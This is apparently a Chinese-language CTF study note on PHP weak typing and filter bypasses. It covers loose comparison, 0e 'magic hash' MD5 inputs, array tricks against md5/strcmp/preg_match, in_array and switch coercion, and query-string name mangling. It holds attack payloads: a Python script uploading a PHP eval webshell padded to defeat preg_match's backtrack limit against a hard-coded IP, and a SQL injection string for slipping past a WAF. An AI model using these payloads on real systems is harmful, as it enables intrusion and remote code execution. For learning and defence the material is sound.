PHP短标记
<? 等价<?php
<?= 等价<? echo
PHP大括号{}
用于指示字符串变量中的单个字符
$my_str="1234";
$my_str{1}='5'; //现在 $my_str 内容为 '1534'
PHP类型转换
- 当一个整形和一个其他类型行比较的时候,会先把其他类型
intval
再比较 - bool类型的 true 跟任意字符串可以弱类型相等 ```php var_dump(intval(‘2’)) //2 var_dump(intval(‘3abcd’)) //3 var_dump(intval(‘abcd’)) //0
var_dump(0 == ‘0’); // true var_dump(0 == ‘abcdefg’); // true var_dump(0 === ‘abcdefg’); // false var_dump(1 == ‘1abcdef’); // true
`intval()` 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, `intval()` 不会报错而是返回 0。<br />并且在php中比较大小时,遵循以下规则
| **运算数1 类型** | **运算数2 类型** | **结果** |
| --- | --- | --- |
| null 或 string | string | 将 `NULL` 转换为 "",进行数字或词汇比较 |
| bool 或 null | 任何其它类型 | 转换为 bool,`FALSE` < `TRUE` |
| object | object | 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明 |
| string,resource 或 number | string,resource 或 number | 将字符串和资源转换成数字,按普通数学比较 |
| array | array | 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例) |
| object | 任何其它类型 | object 总是更大 |
| array | 任何其它类型 | array 总是更大 |
![image.png](https://cdn.nlark.com/yuque/0/2020/png/2658344/1608908169762-53f47ff7-c108-4508-8b5f-a3b309d40635.png#align=left&display=inline&height=297&margin=%5Bobject%20Object%5D&name=image.png&originHeight=594&originWidth=1311&size=53811&status=done&style=none&width=655.5)
<a name="NqdJJ"></a>
## 魔法Hash
```php
"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0" //true
在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 0e\d+ 这种模式就不会相等。
十六进制转换
"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false
当其中的一个字符串是 0x
开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240
解析成为十进制就是 123456,所以与 int
类型和 string
类型的 123456 比较都是相等。
PHP内置函数Bypass
md5()/sha1()
数组绕过
md5 ( string $str [, bool $raw_output = FALSE ] ) : string
md5()
函数需要一个string类型的参数,但假如传递一个array类型的参数,md5依旧可以执行,不会报错
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==md5($array2)); //true
科学计数法绕过
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
md5碰撞
使用工具fastcoll.exe来生成两个md5值相同,但文件内容不相同的文件。
switch()
如果 switch()
是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
这个时候程序输出的是 i is less than 3 but not negative
,是由于 switch()
函数将 $i
进行了类型转换,转换结果为 2。
in_array()
在 PHP 手册中, in_array()
函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
, 如果 strict 参数没有提供,那么 in_array
就会使用松散比较来判断 $needle
是否在 $haystack
中。当 strict 的值为 true 时, in_array()
会比较 needls 的类型和 haystack 中的类型是否相同。
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true
可以看到上面的情况返回的都是 true,因为 'abc'
会转换为 0, '1bc'
转换为 1。array_search()
与 in_array()
也是一样的问题。
ereg()/eregi()
ereg()
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。大小写敏感。
- 数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
- pcre回溯次数限制
pcre.backtrack_limit
给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
- 换行符
.
不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="\nflag"
而在非多行模式下,$
似乎会忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
只需要传入
?a=flag%0a
strcmp
传入的期望类型是字符串类型的数据 ,但是这个函数当接受到不符合字符串类型的参数就会发生错误,并返回0
所以当传入的参数为数组时,报错并返回0,0==0成立。
PHP字符串解析特性
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar
变成Array([foo] => "bar")
。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42
会转换为Array([news_id] => 42)
。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
strtoupper漏洞
某些字符经过strtoupper
处理后,会等价普通字符
参考:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/%C4%B1
等价I
%E2%84%AA
等价K
%C5%BF
等价S
%C4%B0
等价i